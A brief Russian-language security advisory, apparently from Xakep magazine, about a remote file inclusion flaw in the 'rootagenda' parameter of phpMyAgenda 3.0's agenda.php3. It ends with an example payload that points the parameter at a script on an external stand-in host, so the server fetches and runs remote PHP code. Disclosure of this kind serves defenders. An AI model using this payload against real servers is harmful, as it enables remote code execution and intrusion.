Рекомендуем почитать:
Хакер #305. Многошаговые SQL-инъекции
Программа: phpMyAgenda 3.0 Final, возможно другие версии.
Уязвимость позволяет удаленному пользователю выполнить произвольный код на
целевой системе. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "rootagenda" в сценарии agenda.php3. Удаленный пользователь
может с помощью специально сформированного POST запроса выполнить произвольный
PHP сценарий на целевой системе с привилегиями Web сервера. Для успешной
эксплуатации уязвимости опция "register_globals" должна быть включена.
Пример:
rootagenda=http://www.yourspace.com/yourscript.php?
